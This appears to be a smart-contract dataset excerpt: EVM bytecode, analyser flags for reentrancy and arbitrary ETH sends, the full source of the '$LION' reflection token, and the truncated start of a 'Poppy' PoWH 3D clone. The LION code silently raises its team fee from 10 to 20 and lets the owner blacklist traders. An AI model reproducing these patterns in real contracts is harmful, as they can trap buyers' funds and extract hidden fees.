b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b08fe860b3afd6559b4c35820986ed78156e22386fb620f441bca9591e1543664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,234 |
0xe9ca0345f4b27c683f48cbd240ad4cf491835d65
|
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/*
$LION
Favorite Animal, King of The Jungle.
Ape Responsibly.
Small Liq launch, 100x! Possibility.
https://t.me/Lionofficialtoken
Community Project with Buy Backs!
Liq lock At Launch & Renounce!
Have fun, Be Safe!
- DeV
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LIONTOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "t.me/Lionofficialtoken";
string private constant _symbol = "$LION";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102fe578063c3c8cd801461031e578063c9567bf914610333578063d543dbeb14610348578063dd62ed3e1461036857600080fd5b8063715018a6146102735780638da5cb5b1461028857806395d89b41146102b0578063a9059cbb146102de57600080fd5b8063273123b7116100dc578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610119578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260168152753a1736b297a634b7b737b33334b1b4b0b63a37b5b2b760511b60208201525b60405161016191906119fc565b60405180910390f35b34801561017657600080fd5b5061018a61018536600461188d565b6103ae565b6040519015158152602001610161565b3480156101a657600080fd5b50683635c9adc5dea000005b604051908152602001610161565b3480156101cc57600080fd5b5061018a6101db36600461184d565b6103c5565b3480156101ec57600080fd5b506102006101fb3660046117dd565b61042e565b005b34801561020e57600080fd5b5060405160098152602001610161565b34801561022a57600080fd5b5061020061023936600461197f565b610482565b34801561024a57600080fd5b506102006104ca565b34801561025f57600080fd5b506101b261026e3660046117dd565b6104f7565b34801561027f57600080fd5b50610200610519565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102bc57600080fd5b50604080518082019091526005815264122624a7a760d91b6020820152610154565b3480156102ea57600080fd5b5061018a6102f936600461188d565b61058d565b34801561030a57600080fd5b506102006103193660046118b8565b61059a565b34801561032a57600080fd5b5061020061063e565b34801561033f57600080fd5b50610200610674565b34801561035457600080fd5b506102006103633660046119b7565b610a37565b34801561037457600080fd5b506101b2610383366004611815565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103bb338484610b0a565b5060015b92915050565b60006103d2848484610c2e565b610424843361041f85604051806060016040528060288152602001611bcd602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611040565b610b0a565b5060019392505050565b6000546001600160a01b031633146104615760405162461bcd60e51b815260040161045890611a4f565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104ac5760405162461bcd60e51b815260040161045890611a4f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104ea57600080fd5b476104f48161107a565b50565b6001600160a01b0381166000908152600260205260408120546103bf906110ff565b6000546001600160a01b031633146105435760405162461bcd60e51b815260040161045890611a4f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103bb338484610c2e565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161045890611a4f565b60005b815181101561063a576001600a60008484815181106105f657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063281611b62565b9150506105c7565b5050565b600c546001600160a01b0316336001600160a01b03161461065e57600080fd5b6000610669306104f7565b90506104f481611183565b6000546001600160a01b0316331461069e5760405162461bcd60e51b815260040161045890611a4f565b600f54600160a01b900460ff16156106f85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610458565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107353082683635c9adc5dea00000610b0a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076e57600080fd5b505afa158015610782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a691906117f9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ee57600080fd5b505afa158015610802573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082691906117f9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086e57600080fd5b505af1158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a691906117f9565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d6816104f7565b6000806108eb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094e57600080fd5b505af1158015610962573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098791906119cf565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ff57600080fd5b505af1158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a919061199b565b6000546001600160a01b03163314610a615760405162461bcd60e51b815260040161045890611a4f565b60008111610ab15760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610458565b610acf6064610ac9683635c9adc5dea0000084611328565b906113a7565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b6c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610cf45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b60008111610d565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b6000546001600160a01b03848116911614801590610d8257506000546001600160a01b03838116911614155b15610fe357600f54600160b81b900460ff1615610e69576001600160a01b0383163014801590610dbb57506001600160a01b0382163014155b8015610dd55750600e546001600160a01b03848116911614155b8015610def5750600e546001600160a01b03838116911614155b15610e6957600e546001600160a01b0316336001600160a01b03161480610e295750600f546001600160a01b0316336001600160a01b0316145b610e695760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610458565b601054811115610e7857600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eba57506001600160a01b0382166000908152600a602052604090205460ff16155b610ec357600080fd5b600f546001600160a01b038481169116148015610eee5750600e546001600160a01b03838116911614155b8015610f1357506001600160a01b03821660009081526005602052604090205460ff16155b8015610f285750600f54600160b81b900460ff165b15610f76576001600160a01b0382166000908152600b60205260409020544211610f5157600080fd5b610f5c42603c611af4565b6001600160a01b0383166000908152600b60205260409020555b6000610f81306104f7565b600f54909150600160a81b900460ff16158015610fac5750600f546001600160a01b03858116911614155b8015610fc15750600f54600160b01b900460ff165b15610fe157610fcf81611183565b478015610fdf57610fdf4761107a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102557506001600160a01b03831660009081526005602052604090205460ff165b1561102e575060005b61103a848484846113e9565b50505050565b600081848411156110645760405162461bcd60e51b815260040161045891906119fc565b5060006110718486611b4b565b95945050505050565b600c546001600160a01b03166108fc6110948360026113a7565b6040518115909202916000818181858888f193505050501580156110bc573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d78360026113a7565b6040518115909202916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b60006006548211156111665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610458565b6000611170611415565b905061117c83826113a7565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122d57600080fd5b505afa158015611241573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126591906117f9565b8160018151811061128657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ac9130911684610b0a565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e5908590600090869030904290600401611a84565b600060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611337575060006103bf565b60006113438385611b2c565b9050826113508583611b0c565b1461117c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b600061117c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611438565b806113f6576113f6611466565b611401848484611489565b8061103a5761103a60056008556014600955565b6000806000611422611580565b909250905061143182826113a7565b9250505090565b600081836114595760405162461bcd60e51b815260040161045891906119fc565b5060006110718486611b0c565b6008541580156114765750600954155b1561147d57565b60006008819055600955565b60008060008060008061149b876115c2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cd908761161f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fc9086611661565b6001600160a01b03891660009081526002602052604090205561151e816116c0565b611528848361170a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156d91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159c82826113a7565b8210156115b957505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115df8a60085460095461172e565b92509250925060006115ef611415565b905060008060006116028e87878761177d565b919e509c509a509598509396509194505050505091939550919395565b600061117c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611040565b60008061166e8385611af4565b90508381101561117c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b60006116ca611415565b905060006116d88383611328565b306000908152600260205260409020549091506116f59082611661565b30600090815260026020526040902055505050565b600654611717908361161f565b6006556007546117279082611661565b6007555050565b60008080806117426064610ac98989611328565b905060006117556064610ac98a89611328565b9050600061176d826117678b8661161f565b9061161f565b9992985090965090945050505050565b600080808061178c8886611328565b9050600061179a8887611328565b905060006117a88888611328565b905060006117ba82611767868661161f565b939b939a50919850919650505050505050565b80356117d881611ba9565b919050565b6000602082840312156117ee578081fd5b813561117c81611ba9565b60006020828403121561180a578081fd5b815161117c81611ba9565b60008060408385031215611827578081fd5b823561183281611ba9565b9150602083013561184281611ba9565b809150509250929050565b600080600060608486031215611861578081fd5b833561186c81611ba9565b9250602084013561187c81611ba9565b929592945050506040919091013590565b6000806040838503121561189f578182fd5b82356118aa81611ba9565b946020939093013593505050565b600060208083850312156118ca578182fd5b823567ffffffffffffffff808211156118e1578384fd5b818501915085601f8301126118f4578384fd5b81358181111561190657611906611b93565b8060051b604051601f19603f8301168101818110858211171561192b5761192b611b93565b604052828152858101935084860182860187018a1015611949578788fd5b8795505b838610156119725761195e816117cd565b85526001959095019493860193860161194d565b5098975050505050505050565b600060208284031215611990578081fd5b813561117c81611bbe565b6000602082840312156119ac578081fd5b815161117c81611bbe565b6000602082840312156119c8578081fd5b5035919050565b6000806000606084860312156119e3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2857858101830151858201604001528201611a0c565b81811115611a395783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad35784516001600160a01b031683529383019391830191600101611aae565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0757611b07611b7d565b500190565b600082611b2757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4657611b46611b7d565b500290565b600082821015611b5d57611b5d611b7d565b500390565b6000600019821415611b7657611b76611b7d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f457600080fd5b80151581146104f457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f22cc8b2e4dd7946bfe9bfcaada0f7bb8ac64824c8910ecb523626f24078b33964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,235 |
0xbc89df5dfcbf30b78520a08c8c5d6d1839fbed83
|
pragma solidity ^0.4.20;
/*
===================================
____
/ __ \ ____ ____ ____ __ __
/ /_/ // __ \ / __ \ / __ \ / / / /
/ ____// /_/ // /_/ // /_/ // /_/ /
/_/ \____// .___// .___/ \__, /
/_/ /_/ /____/
Proof of Purchases Providing Yields
===================================
This application uses open source code,
we acknowledge and are grateful to the developers of the original PoWH 3D.
Visit 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe to learn more.
*/
contract Poppy {
modifier onlyTokenHolders() {
require(myTokens() > 0);
_;
}
modifier onlyProfitHolders() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Poppy";
string public symbol = "XPY";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 100;
